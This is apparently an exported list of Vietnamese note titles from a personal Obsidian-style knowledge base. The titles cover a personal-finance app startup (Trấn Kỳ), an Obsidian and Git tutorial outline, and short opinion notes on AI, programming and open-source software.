ID: 4t +Lời mời tham gia phỏng vấn +• Slug: undefined +• ID: 4u +Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động +• Slug: undefined +• ID: 4v +Câu hỏi phỏng vấn +• Slug: undefined +• ID: 4w +Duy Phong +• Slug: undefined +• ID: 4x +Hải Yến +• Slug: undefined +• ID: 4y +Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ +• Slug: undefined +• ID: 4z +Phỏng vấn người tương tác với các bài đăng về Trấn Kỳ +• Slug: undefined +• ID: 4- +Tổ chức nhỏ hoặc người cần kỷ luật tài chính +• Slug: undefined +• ID: 4_ +Mục tiêu và câu hỏi nghiên cứu tổ chức nhỏ cần trích xuất dữ liệu có cấu trúc từ dữ liệu phi cấu trúc +• Slug: undefined +• ID: 50 +Kế hoạch sử dụng tiền +• Slug: undefined +• ID: 51 +J.D. Everest +• Slug: undefined +• ID: 52 +Tìm nhà đầu tư vào Trấn Kỳ +• Slug: undefined +• ID: 53 +Quỹ +• Slug: undefined +• ID: 54 +Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm +• Slug: undefined +• ID: 55 +Khảo sát trong các nhóm +• Slug: undefined +• ID: 56 +Lời mời tham gia đầu tư vào Trấn Kỳ +• Slug: undefined +• ID: 57 +Lời mời xây dựng một startup +• Slug: undefined +• ID: 58 +Phân loại chi tiêu (ngắn) +• Slug: undefined +• ID: 59 +Phân loại chi tiêu +• Slug: undefined +• ID: 5A +Phân loại câu nhập (ngắn) +• Slug: undefined +• ID: 5B +Phân loại câu nhập +• Slug: undefined +• ID: 5C +Truyền thông +• Slug: undefined +• ID: 5D +Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán +• Slug: undefined +• ID: 5E +Kiếm người kiếm tiền +• Slug: undefined +• ID: 5F +Kế hoạch xây dựng đội ngũ +• Slug: undefined +• ID: 5G +Mai Quang +• Slug: undefined +• ID: 5H +Nhật +• Slug: undefined +• ID: 5I +Thịnh +• Slug: undefined +• ID: 5J +Hệ thống chấm điểm cảm xúc (Game con bò) +• Slug: undefined +• ID: 5K +Kiếm tiền từ Trấn Kỳ +• Slug: undefined +• ID: 5L +Lý do viết Trấn Kỳ +• Slug: undefined +• ID: 5M +Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm +• Slug: undefined +• ID: 5N +Mô hình kinh doanh Trấn Kỳ +• Slug: undefined +• ID: 5O +Trấn Kỳ là gì +• Slug: undefined +• ID: 5P +Trần Nam Aramis +• Slug: undefined +• ID: 5Q +Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng +• Slug: undefined +• ID: 5R +Ý kiến của chị Hoà +• Slug: undefined +• ID: 5S +Trấn Kỳ +• Slug: undefined +• ID: 5T +Tạo cửa hàng +• Slug: undefined +• ID: 5U +Cathay +• Slug: undefined +• ID: 5V +Các công ty trung gian thanh toán +• Slug: undefined +• ID: 5W +VNPAY +• Slug: undefined +• ID: 5X +Chỉ cần ước lượng đại khái +• Slug: undefined +• ID: 5Y +Cần lên kế hoạch từng tuần +• Slug: undefined +• ID: 5Z +Việc phân loại thủ công không phải là vấn đề +• Slug: undefined +• ID: 5a +Việc phân loại thủ công là vấn đề lớn +• Slug: undefined +• ID: 5b +Cần nhập càng nhanh càng tốt +• Slug: undefined +• ID: 5c +Cần nhập lúc đi đường +• Slug: undefined +• ID: 5d +Chỉ cần xét những mục phổ biến +• Slug: undefined +• ID: 5e +Cần xét cặn kẽ từng hạng mục +• Slug: undefined +• ID: 5f +Không đủ kiên nhẫn +• Slug: undefined +• ID: 5g +Cần tích hợp được với các chương trình khác +• Slug: undefined +• ID: 5h +Không cần tích hợp +• Slug: undefined +• ID: 5i +Có thể dành thời gian nghiên cứu +• Slug: undefined +• ID: 5j +Dữ liệu có văn cảnh lớn +• Slug: undefined +• ID: 5k +Dữ liệu có văn cảnh nhỏ +• Slug: undefined +• ID: 5l +Không cần dữ liệu huấn luyện +• Slug: undefined +• ID: 5m +Không cần thiết lập cấu hình +• Slug: undefined +• ID: 5n +Phải thiết lập cấu hình +• Slug: undefined +• ID: 5o +100k/tháng +• Slug: undefined +• ID: 5p +Freemium +• Slug: undefined +• ID: 5q +Miễn phí +• Slug: undefined +• ID: 5r +Nhập liệu bằng giọng nói +• Slug: undefined +• ID: 5s +Nhập liệu được bằng file text +• Slug: undefined +• ID: 5t +Nhập liệu được trên Google Keep +• Slug: undefined +• ID: 5u +Nhập liệu được trên Telegram +• Slug: undefined +• ID: 5v +Nhập được bằng tập tin bảng tính +• Slug: undefined +• ID: 5w +Nhập được trên máy tính +• Slug: undefined +• ID: 5x +Nhập được trên web +• Slug: undefined +• ID: 5y +Nhập được trên điện thoại +• Slug: undefined +• ID: 5z +Tự động lấy thông tin giao dịch ngay lúc quẹt mã +• Slug: undefined +• ID: 5- +Điều khiển dễ dàng bằng bàn phím +• Slug: undefined +• ID: 5_ +Phân loại bằng tay +• Slug: undefined +• ID: 60 +Phân loại tự động theo mô hình ngôn ngữ lớn +• Slug: undefined +• ID: 61 +Phân loại tự động theo quy luật +• Slug: undefined +• ID: 62 +Có GUI +• Slug: undefined +• ID: 63 +Dùng được trên CLI +• Slug: undefined +• ID: 64 +Có người hỗ trợ sâu +• Slug: undefined +• ID: 65 +Game hoá +• Slug: undefined +• ID: 66 +Là phần mềm tự do +• Slug: undefined +• ID: 67 +Sử dụng phương pháp chi tiêu phù hợp hoàn cảnh mỗi người +• Slug: undefined +• ID: 68 +Trả tiền để làm phân loại +• Slug: undefined +• ID: 69 +Tạo query phức tạp được +• Slug: undefined +• ID: 6A +Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác +• Slug: undefined +• ID: 6B +Dữ liệu chương trình lưu dưới dạng tập tin +• Slug: undefined +• ID: 6C +Không sao chép được dễ dàng +• Slug: undefined +• ID: 6D +Sao chép kết quả sang chương trình khác được +• Slug: undefined +• ID: 6E +Tích hợp được với ngân hàng +• Slug: undefined +• ID: 6F +Xuất được kết quả ra dạng bảng tính +• Slug: undefined +• ID: 6G +Xuất được kết quả ra dạng văn bản thuần +• Slug: undefined +• ID: 6H +Nhận diện typo +• Slug: undefined +• ID: 6I +Chỉ có vài trường cơ bản +• Slug: undefined +• ID: 6J +Thêm được nhiều trường phân loại +• Slug: undefined +• ID: 6K +Chương trình ghi chép thu chi cá nhân +• Slug: undefined +• ID: 6L +Chương trình kế toán +• Slug: undefined +• ID: 6M +Chương trình phân loại dữ liệu tự động +• Slug: undefined +• ID: 6N +Chương trình tài liệu động +• Slug: undefined +• ID: 6O +Plugin cho phần mềm khác +• Slug: undefined +• ID: 6P +Template thu chi trên Excel +• Slug: undefined +• ID: 6Q +Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ +• Slug: undefined +• ID: 6R +Maybe finance +• Slug: undefined +• ID: 6S +Momo +• Slug: undefined +• ID: 6T +MoneyLover +• Slug: undefined +• ID: 6U +PiPu +• Slug: undefined +• ID: 6V +figr +• Slug: undefined +• ID: 6W +Beancount +• Slug: undefined +• ID: 6X +Misa +• Slug: undefined +• ID: 6Y +SaveDi +• Slug: undefined +• ID: 6Z +Soulver +• Slug: undefined +• ID: 6a +Trấn Kỳ (quang cảnh thị trường) +• Slug: undefined +• ID: 6b +Bất cập của các app quản lý tiền hiện có +• Slug: undefined +• ID: 6c +Chương trình quản lý tiền +• Slug: undefined +• ID: 6d +App vay nóng không cần điểm tín dụng +• Slug: undefined +• ID: 6e +Cayvang +• Slug: undefined +• ID: 6f +Moneyveo +• Slug: undefined +• ID: 6g +Các dịch vụ cho vay +• Slug: undefined +• ID: 6h +TNEX +• Slug: undefined +• ID: 6i +CEP +• Slug: undefined +• ID: 6j +Ngân hàng chính sách xã hội +• Slug: undefined +• ID: 6k +Quỹ Tình Thân +• Slug: undefined +• ID: 6l +Bảo hiểm nhân thọ +• Slug: undefined +• ID: 6m +Tặng đồ, thức ăn +• Slug: undefined +• ID: 6n +Có xe máy +• Slug: undefined +• ID: 6o +Không tốn diện tích +• Slug: undefined +• ID: 6p +Biết cách ẩn danh +• Slug: undefined +• ID: 6q +Biết lập trình +• Slug: undefined +• ID: 6r +Có tên tuổi, uy tín, chứng nhận +• Slug: undefined +• ID: 6s +Hiểu về hệ thống +• Slug: undefined +• ID: 6t +Có nguồn nguyên liệu lớn với giá rẻ +• Slug: undefined +• ID: 6u +Có nhiều tài khoản hoặc thẻ ngân hàng +• Slug: undefined +• ID: 6v +Nắm được nhu cầu doanh nghiệp +• Slug: undefined +• ID: 6w +Sắp xếp theo lịch được cho trước +• Slug: undefined +• ID: 6x +Thỉnh thoảng lên công ty +• Slug: undefined +• ID: 6y +Làm ngoài đường +• Slug: undefined +• ID: 6z +Vốn +• Slug: undefined +• ID: 6- +Chia sẻ, đào tạo, huấn luyện +• Slug: undefined +• ID: 6_ +Gia công giải pháp +• Slug: undefined +• ID: 70 +Kiếm người cho tiền +• Slug: undefined +• ID: 71 +Tự kinh doanh, đầu tư +• Slug: undefined +• ID: 72 +Việc làm thời vụ, theo dự án +• Slug: undefined +• ID: 73 +Vị trí chính thức của một công ty +• Slug: undefined +• ID: 74 +3 Ý tưởng +• Slug: undefined +• ID: 75 +Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện +• Slug: undefined +• ID: 76 +Huấn luyện lập trình 1-1 +• Slug: undefined +• ID: 77 +Hướng dẫn tìm hiểu các lĩnh vực +• Slug: undefined +• ID: 78 +Chạy sự kiện, hậu cần, truyền thông, shipper, telesale, BPO +• Slug: undefined +• ID: 79 +Quét mã chéo +• Slug: undefined +• ID: 7A +Viết hợp đồng, thu thập thông tin +• Slug: undefined +• ID: 7B +Đổi tiền, chụp hình biển hiệu, dán mã QR +• Slug: undefined +• ID: 7C +Học làm đại lý bán bảo hiểm +• Slug: undefined +• ID: 7D +Làm nhân viên ảo +• Slug: undefined +• ID: 7E +Lừa đảo hội lừa đảo +• Slug: undefined +• ID: 7F +Săn khảo sát, phỏng vấn người dùng +• Slug: undefined +• ID: 7G +Gom lịch vào Google Calendar +• Slug: undefined +• ID: 7H +Kết nối nhu cầu di chuyển của người khuyết tật +• Slug: undefined +• ID: 7I +Tạo báo cáo tiếp thị quản lý được theo từng cấp +• Slug: undefined +• ID: 7J +Viết plugin tích hợp vào các chương trình kế toán +• Slug: undefined +• ID: 7K +Xây dựng hệ thống quản lý +• Slug: undefined +• ID: 7L +Buôn bán nhỏ +• Slug: undefined +• ID: 7M +Bán bộ sưu tập từ điển chuyên ngành +• Slug: undefined +• ID: 7N +Bán bộ thẻ học GRE cho Anki +• Slug: undefined +• ID: 7O +Bán số lượng lớn tự động trên các nền tảng +• Slug: undefined +• ID: 7P +Cho vay lấy lãi +• Slug: undefined +• ID: 7Q +Nhóm chuyên chạy chỉ tiêu cho nhân viên các công ty +• Slug: undefined +• ID: 7R +Làm web phim lậu +• Slug: undefined +• ID: 7S +Viết app quản lý chi tiêu cá nhân +• Slug: undefined +• ID: 7T +Xem tử vi tự động +• Slug: undefined +• ID: 7U +Ý tưởng kiếm tiền +• Slug: undefined +• ID: 7V +Hanoi Ad Hoc +• Slug: undefined +• ID: 7W +1 Làm quen với Obsidian +• Slug: undefined +• ID: 7X +1.1 Tạo vault mới +• Slug: undefined +• ID: 7Y +1.2 Tạo ghi chú và thư mục mới +• Slug: undefined +• ID: 7Z +1.3 Tạo liên kết +• Slug: undefined +• ID: 7a +1.4 Xem và chỉnh sửa nội dung +• Slug: undefined +• ID: 7b +1.5 Định dạng chữ +• Slug: undefined +• ID: 7c +1.6 Tìm hiểu tự do +• Slug: undefined +• ID: 7d +Bật sidebar +• Slug: undefined +• ID: 7e +Chèn ảnh. Chèn đoạn văn từ ghi chú khác +• Slug: undefined +• ID: 7f +Khám phá canvas +• Slug: undefined +• ID: 7g +Mở bảng lệnh +• Slug: undefined +• ID: 7h +Thu gọn +• Slug: undefined +• ID: 7i +Tạo tên phụ cho từng ghi chú +• Slug: undefined +• ID: 7j +Đổi giao diện +• Slug: undefined +• ID: 7k +📖 2 chế độ chỉnh sửa nội dung +• Slug: undefined +• ID: 7l +2 Xây dựng dự án với plugin +• Slug: undefined +• ID: 7m +2.1 Cài plugin +• Slug: undefined +• ID: 7n +2.2 Tạo biến và dùng biến với (Dataview tập 1) +• Slug: undefined +• ID: 7o +2.3 Truy vấn dữ liệu (Dataview tập 2) +• Slug: undefined +• ID: 7p +2.4 Tạo mẫu ghi chú (Templater) +• Slug: undefined +• ID: 7q +2.9 Tìm hiểu tự do +• Slug: undefined +• ID: 7r +2.2 Gán biến +• Slug: undefined +• ID: 7s +2.3 Dùng Project +• Slug: undefined +• ID: 7t +Dùng Database folder +• Slug: undefined +• ID: 7u +4 Du hành thời gian với Git +• Slug: undefined +• ID: 7v +4.1 Khám phá cây lịch sử +• Slug: undefined +• ID: 7w +4.2 Cài đặt Git và GitKraken +• Slug: undefined +• ID: 7x +4.3 Lưu dữ liệu mới (commit) +• Slug: undefined +• ID: 7y +4.4 Mở dữ liệu cũ (checkout) +• Slug: undefined +• ID: 7z +4.5 Tạo nhánh (branch) +• Slug: undefined +• ID: 7- +4.6 Chuyển nhánh (switch) +• Slug: undefined +• ID: 7_ +4.7 Nhập nhánh (merge) +• Slug: undefined +• ID: 80 +Reset +• Slug: undefined +• ID: 81 +📖 Sử dụng plugin Obsidian Git +• Slug: undefined +• ID: 82 +5 Làm việc cùng nhau +• Slug: undefined +• ID: 83 +5.1 GitHub là gì +• Slug: undefined +• ID: 84 +5.2 Tải mới toàn bộ kho dữ liệu (clone) +• Slug: undefined +• ID: 85 +5.3 Đẩy dữ liệu mới lên (push) +• Slug: undefined +• ID: 86 +5.4 Kéo dữ liệu mới xuống (pull) +• Slug: undefined +• ID: 87 +Tại sao không dùng Syncthing mà phải dùng Git để đồng bộ dữ liệu +• Slug: undefined +• ID: 88 +Tài liệu đọc thêm về Git +• Slug: undefined +• ID: 89 +📖 Remote, upstream, origin +• Slug: undefined +• ID: 8A +GitHub Mkdocs Publisher +• Slug: undefined +• ID: 8B +Các bài học nâng cao +• Slug: undefined +• ID: 8C +1. Dùng plugin mẫu +• Slug: undefined +• ID: 8D +2. Nhập môn TypeScript +• Slug: undefined +• ID: 8E +📖 Nodejs và Electron +• Slug: undefined +• ID: 8F +⚔️ Hướng dẫn Obsidian và Git +• Slug: undefined +• ID: 8G +Obsidian lưu dữ liệu trên máy của người dùng +• Slug: undefined +• ID: 8H +Obsidian lưu dữ liệu ở định dạng đơn giản +• Slug: undefined +• ID: 8I +Văn bản thuần là dạng tổ chức dữ liệu đơn giản nhất +• Slug: undefined +• ID: 8J +Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác +• Slug: undefined +• ID: 8K +Cộng đồng Obsidian rất mạnh +• Slug: undefined +• ID: 8L +Khả năng tuỳ biến của Obsidian rất cao +• Slug: undefined +• ID: 8M +Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú +• Slug: undefined +• ID: 8N +Obsidian cực kỳ dễ mở rộng tính năng +• Slug: undefined +• ID: 8O +Obsidian không gọi vốn để theo đúng định hướng của mình +• Slug: undefined +• ID: 8P +Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người +• Slug: undefined +• ID: 8Q +Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền +• Slug: undefined +• ID: 8R +Obsidian xem liên kết là công dân hạng nhất +• Slug: undefined +• ID: 8S +Ý tưởng logo là cục đá đang được đẽo gọt, hàm ý ❝You shape your tools, and they shape you❞ +• Slug: undefined +• ID: 8T +Đồ thị giúp thấy được bức tranh tổng thể +• Slug: undefined +• ID: 8U +Obsidian khó tạo liên kết hai chiều được +• Slug: undefined +• ID: 8V +Obsidian không mạnh về quản lý tác vụ +• Slug: undefined +• ID: 8W +Obsidian không sử dụng dữ liệu dạng bảng +• Slug: undefined +• ID: 8X +Việc hợp tác qua mạng trên Obsidian tốt nhất là qua Git +• Slug: undefined +• ID: 8Y +Đơn vị nhỏ nhất của Obsidian là file, không phải block +• Slug: undefined +• ID: 8Z +Chơi game +• Slug: undefined +• ID: 8a +Kho dữ liệu cá nhân +• Slug: undefined +• ID: 8b +Kho tài nguyên cộng đồng +• Slug: undefined +• ID: 8c +Nghiên cứu +• Slug: undefined +• ID: 8d +Quản lý cuộc sống cá nhân +• Slug: undefined +• ID: 8e +Quản lý dự án +• Slug: undefined +• ID: 8f +Quản lý mối quan hệ +• Slug: undefined +• ID: 8g +Ghi chú trên YouTube +• Slug: undefined +• ID: 8h +Canvas +• Slug: undefined +• ID: 8i +Excalidraw +• Slug: undefined +• ID: 8j +Tạo nút +• Slug: undefined +• ID: 8k +Vẽ đồ thị +• Slug: undefined +• ID: 8l +Chèn bản đồ +• Slug: undefined +• ID: 8m +Kết nối dữ liệu với Trello, Notion, Discord +• Slug: undefined +• ID: 8n +Slide +• Slug: undefined +• ID: 8o +Tạo bảng +• Slug: undefined +• ID: 8p +Xuất bản trên web +• Slug: undefined +• ID: 8q +Theo tính năng của plugin +• Slug: undefined +• ID: 8r +💎 Giới thiệu về Obsidian +• Slug: undefined +• ID: 8s +Công nghệ mới đem lại thêm lựa chọn cho người làm chính sách +• Slug: undefined +• ID: 8t +4 cấp độ phân tích dữ liệu: mô tả hiện tượng, lý giải nguyên nhân, dự đoán kết quả, đề xuất hành động +• Slug: undefined +• ID: 8u +AI giống như công nghệ tua bin. Gắn nó với xe hơi thì không sử dụng được. Nhưng nếu có thể có thêm những công nghệ mới thì có thể thành máy bay +• Slug: undefined +• ID: 8v +AI gần như không có khả năng tự sửa lỗi code +• Slug: undefined +• ID: 8w +AI không tất định mà tạo sinh kết quả mỗi lần mỗi khác dù với cùng một câu nhập +• Slug: undefined +• ID: 8x +AI là định dạng ảnh mờ của web +• Slug: undefined +• ID: 8y +AI. Dữ liệu lớn +• Slug: undefined +• ID: 8z +Cách để AI không bị ảo giác là kêu nó viết truy vấn cho Wikidata +• Slug: undefined +• ID: 8- +Có bằng chứng cho thấy việc có thêm dữ liệu và phần cứng để tính toán cũng không làm tăng khả năng nhận diện +• Slug: undefined +• ID: 8_ +Người mới học nên bắt đầu bằng việc hiểu code đúng hơn là sửa lỗi code sai với lời hướng dẫn chưa chắc đúng +• Slug: undefined +• ID: 90 +Sự khác biệt giữa con người và mô hình ngôn ngữ lớn là con người có niềm tin và có thể kiểm chứng niềm tin từ môi trường bên ngoài +• Slug: undefined +• ID: 91 +Sự không phân biệt giữa AI học có giám sát và AI tạo sinh mà chỉ gộp chung vào AI làm nhiều người nhầm lẫn giữa điểm mạnh và điểm yếu của AI +• Slug: undefined +• ID: 92 +Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng +• Slug: undefined +• ID: 93 +Tiềm năng để kiếm tiền từ AI đến từ mảng học có giám sát nhiều hơn ở mảng tạo sinh +• Slug: undefined +• ID: 94 +Trước khi AI có thể kiểm định và sửa lỗi code, ta vẫn cần phải học lập trình để kiểm định và sửa lỗi cho nó +• Slug: undefined +• ID: 95 +Đằng sau vẻ ngoài tự trị của AI là những người làm công việc dán nhãn và kiểm duyệt, vô hình và bếp bênh +• Slug: undefined +• ID: 96 +Để AI có thể tham gia vào việc lập trình được, nó cần phải làm được cả việc kiểm định và sửa lỗi code, chứ không phải chỉ mỗi sinh code +• Slug: undefined +• ID: 97 +AI không làm nghệ thuật được, vì nó phải đưa ra những lựa chọn ngầm +• Slug: undefined +• ID: 98 +Dữ liệu có thể là ngôn ngữ mà tất cả mọi người đều hiểu +• Slug: undefined +• ID: 99 +Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào +• Slug: undefined +• ID: 9A +Máy học dự đoán xem mẫu hình có bao nhiêu khả năng lặp lại trong tương lai +• Slug: undefined +• ID: 9B +Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản +• Slug: undefined +• ID: 9C +Ngành khoa học dữ liệu còn nhiều thuật ngữ không có sự ổn định về nghĩa +• Slug: undefined +• ID: 9D +40% lượng điện của các trung tâm dữ liệu là để cho việc làm mát +• Slug: undefined +• ID: 9E +Dấu chân carbon của việc tính toán đã vượt qua công nghiệp hàng không +• Slug: undefined +• ID: 9F +Ngành công nghiệp siêu tính toán được xây dựng trên nền tảng thuộc địa từ việc khai thác tài nguyên ở các nước bán cầu nam +• Slug: undefined +• ID: 9G +Code được dùng nhiều hơn được đọc, được đọc nhiều hơn được viết +• Slug: undefined +• ID: 9H +Các cuốn sách về phương pháp lập trình được viết bởi những người làm phần mềm nội bộ +• Slug: undefined +• ID: 9I +Cấu trúc kỹ thuật của sản phẩm phản ánh giới hạn xã hội của tổ chức tạo ra nó +• Slug: undefined +• ID: 9J +Không phải vì một thứ có thể làm một điều mà ta nên dùng nó để làm điều đó +• Slug: undefined +• ID: 9K +Phần mềm nội bộ không cần dễ dùng và không phải kiểm thử trên nhiều môi trường khác nhau, cũng không sợ bị cạnh tranh +• Slug: undefined +• ID: 9L +Ngôn ngữ lập trình không giúp con người làm được nhiều hơn những gì ngôn ngữ lập trình bậc thấp làm được. Nó chỉ giúp con người làm ra ít lỗi hơn mà thôi +• Slug: undefined +• ID: 9M +Người mới lập trình thường chỉ biết muốn biết làm sao để code chạy được. Người có kinh nghiệm còn quan tâm đến tính dễ bảo trì, mở rộng và bắt lỗi của code +• Slug: undefined +• ID: 9N +Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng +• Slug: undefined +• ID: 9O +Khi lạc trong một thành phố, ta mở bản đồ lên coi và định vị được bức tranh tổng thể. Khi lạc trong code, ta mở UML lên và càng thấy rối hơn +• Slug: undefined +• ID: 9P +Khi đang có việc và phải bỏ dở để học một công cụ, ta không nhức đầu khi đó là công cụ vật lý, nhưng lại nhức đầu khi đó là công cụ số +• Slug: undefined +• ID: 9Q +Lý do không dùng lại code của người khác +• Slug: undefined +• ID: 9R +Lập trình là lĩnh vực dễ nhức đầu vì cần phải học rất nhiều công cụ khác nhau trong lúc làm việc +• Slug: undefined +• ID: 9S +Mỗi lần nghiên cứu thư viện mới là lại phải gom tất cả quyết tâm và năng lượng để làm +• Slug: undefined +• ID: 9T +Ngành kỹ thuật phần mềm không có một ngôn ngữ thị giác chung +• Slug: undefined +• ID: 9U +Thật trớ trêu khi ngành kỹ thuật phần mềm viết nên những phần mềm để giúp các ngành khác tạo bản thiết kế hiệu quả hơn, nhưng lại không thể viết nên một phần mềm để tạo bản thiết kế cho chính ngành của mình +• Slug: undefined +• ID: 9V +Viết code dễ hơn đọc code +• Slug: undefined +• ID: 9W +90% lượng code ban đầu tốn 90% thời gian lập trình. 10% lượng code còn lại tốn thêm 90% thời gian lập trình +• Slug: undefined +• ID: 9X +Kể cả những người đã làm lố thời gian quá nhiều vẫn luôn lạc quan mình sẽ làm xong sớm +• Slug: undefined +• ID: 9Y +Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.) +• Slug: undefined +• ID: 9Z +Tương lai của một ngôn ngữ phụ thuộc vào việc lý do ra đời của nó và lý do để sử dụng nền tảng dựa trên nó có còn cần nữa hay không +• Slug: undefined +• ID: 9a +Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người +• Slug: undefined +• ID: 9b +Các đánh đổi tạo ra nhiều tổ hợp giải pháp khác nhau cho cùng một nhu cầu +• Slug: undefined +• ID: 9c +Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng +• Slug: undefined +• ID: 9d +Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác +• Slug: undefined +• ID: 9e +Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác +• Slug: undefined +• ID: 9f +❓ Học code bằng việc debug product code sẽ nhanh hơn +• Slug: undefined +• ID: 9g +Lập trình là việc hướng dẫn máy làm theo đúng ý mình, chứ không phải chỉ mỗi viết code +• Slug: undefined +• ID: 9h +Người không làm lĩnh vực lập trình không được tạo điều kiện để trưởng thành về mặt quản trị dữ liệu +• Slug: undefined +• ID: 9i +Lập trình là một cái gì đó thâm nhập vào đời sống của chúng ta, nhưng lại gần như vô hình +• Slug: undefined +• ID: 9j +Lập trình viên biết lập trình chủ yếu là nhờ biết google +• Slug: undefined +• ID: 9k +Người không học về lập trình thấy việc lập trình như làm phép thuật +• Slug: undefined +• ID: 9l +Người viết code thường làm một mình, không được hỗ trợ, không được trả tiền, chỉ vì sự đam mê. Họ cần xây dựng rất nhiều mối quan hệ tin tưởng được nhau +• Slug: undefined +• ID: 9m +Các công ty đầu tư vào dự án mã nguồn mở khi nó nó là hàng hoá bổ sung cho sản phẩm chính của họ +• Slug: undefined +• ID: 9n +Trước đây, khái niệm ❝chính phủ mở❞ là để nói về trách nhiệm giải trình minh bạch của chính phủ. Sau khi O'Reilly sử dụng nó như một dạng kết hợp giữa chính phủ và mã nguồn mở, ý niệm này đã bị lu mờ +• Slug: undefined +• ID: 9o +Những người ly khai khỏi phong trào phần mềm tự do chán nản với việc RMS chỉ nói về cái mình muốn chứ không nói cái người ta muốn +• Slug: undefined +• ID: 9p +O'Reilly ứng dụng lý thuyết structural differential của Korzybski vào việc tạo ra khái niệm open source và web 2.0 +• Slug: undefined +• ID: 9q +OSI muốn các công ty đón nhận mã nguồn mở bằng việc nhấn mạnh vào cộng đồng và lợi thế cạnh tranh từ phương thức sản xuất mới này +• Slug: undefined +• ID: 9r +Quyên góp cho mã nguồn mở thiếu sự khẩn cấp và đồng cảm cá nhân mà các tổ chức từ thiện hay có +• Slug: undefined +• ID: 9s +So với mã nguồn đóng, mã nguồn mở làm giảm thu nhập đáng kể nhưng lại tăng khối lượng công việc hơn nhiều lần +• Slug: undefined +• ID: 9t +The decentralized, non-hierarchical nature of the public coding community makes it difficult to secure pay for coders, yet the work that emerges from it is the foundation for a digital capitalist economy +• Slug: undefined +• ID: 9u +Thời gian trung bình từ lúc một phần mềm đến lúc có phần mềm mã nguồn mở tương đương là 7 năm +• Slug: undefined +• ID: 9v +Từ nào mà mọi người đều nhìn thấy nó theo cách của mình thì là một từ thành công với O'Reilly +• Slug: undefined +• ID: 9w +Việc sử dụng từ ❝mở❞ đã khiến cho O'Reilly thành công trong việc PR mã nguồn mở +• Slug: undefined +• ID: 9x +Việc sử dụng từ ❝mở❞ đã khiến cho O'Reilly thành công trong việc đánh đồng internet với mã nguồn mở +• Slug: undefined +• ID: 9y +Ý tưởng rằng làm dự án mã nguồn mở sẽ có cộng đồng lớn có lẽ không tồn tại trước thời OSI +• Slug: undefined +• ID: 9z +Mã nguồn mở, phần mềm tự do +• Slug: undefined +• ID: 9- +FSF muốn bảo vệ con người khỏi bị khai thác, thao túng +• Slug: undefined +• ID: 9_ +Khi nói đến mã nguồn mở, đa số chỉ để ý tới việc được đọc mã nguồn, chứ không để ý đến quyền được chỉnh sửa và phân phối nó +• Slug: undefined +• ID: A0 +Khái niệm tài sản trí tuệ không có cơ sở vững chắc +• Slug: undefined +• ID: A1 +Không phải lúc nào chức năng chính của những thứ thông minh là thứ khiến bạn mua nó +• Slug: undefined +• ID: A2 +Những trường hợp sử dụng phần mềm không tự do nhưng không gây hại +• Slug: undefined +• ID: A3 +Từ ❝mở❞ dễ bị lạm dụng hoặc hiểu sai hơn là ❝tự do❞ +• Slug: undefined +• ID: A4 +Việc mở mã nguồn thường được xem như là một món quà cho cộng đồng, chứ không phải là một nghĩa vụ phải làm với xã hội +• Slug: undefined +• ID: A5 +Đa số mọi người nghĩ rằng các công ty lớn như Microsoft, Google tạo ra code từ đầu đến cuối, nhưng thực ra họ chỉ mua lại code và bán thương hiệu của mình +• Slug: undefined +• ID: A6 +Quyền được đọc là quyền được cào +• Slug: undefined +• ID: A7 +Theo luật Mỹ, phần nói về trách nhiệm phải được viết in hoa +• Slug: undefined +• ID: A8 +Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào +• Slug: undefined +• ID: A9 +Nếu bạn không kiểm soát chương trình bạn dùng, người khác sẽ kiểm soát nó +• Slug: undefined +• ID: AA +Việc phải trả tiền cho phần mềm để được đọc dữ liệu của mình không khác gì bị tống tiền +• Slug: undefined +• ID: AB +Việc trung tâm hoá tạo ra lợi thế kinh tế nhờ quy mô lớn +• Slug: undefined +• ID: AC +Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối +• Slug: undefined +• ID: AD +Tự động hóa là bản chất của ngành phần mềm. Cái gì phải làm thủ công thì nó là bug +• Slug: undefined +• ID: AE +Việc lưu trữ dữ liệu tại máy cá nhân và ở định dạng đơn giản sẽ giúp người dùng quen thuộc hơn với việc lập trình +• Slug: undefined +• ID: AF +Các cửa sổ phần mềm không giống như một bàn làm việc thật +• Slug: undefined +• ID: AG +Các ngành khác đều làm việc với những vật thể cụ thể trong không gian. Chỉ có ngành lập trình là không có điều đó +• Slug: undefined +• ID: AH +Lập trình thực ra là dùng ẩn dụ +• Slug: undefined +• ID: AI +Mental modal trong ngành lập trình thực ra chỉ là những ẩn dụ +• Slug: undefined +• ID: AJ +Triết học ngôn ngữ là trung tâm của triết học khoa học máy tính +• Slug: undefined +• ID: AK +Việc web dùng ẩn dụ trang giấy giới hạn cách nghĩ của ta về web +• Slug: undefined +• ID: AL +Ẩn dụ là cách ta hiểu code bằng cơ thể +• Slug: undefined +• ID: AM +Ẩn dụ máy tính như là bàn làm việc đã giúp mọi người biết làm việc với máy tính +• Slug: undefined 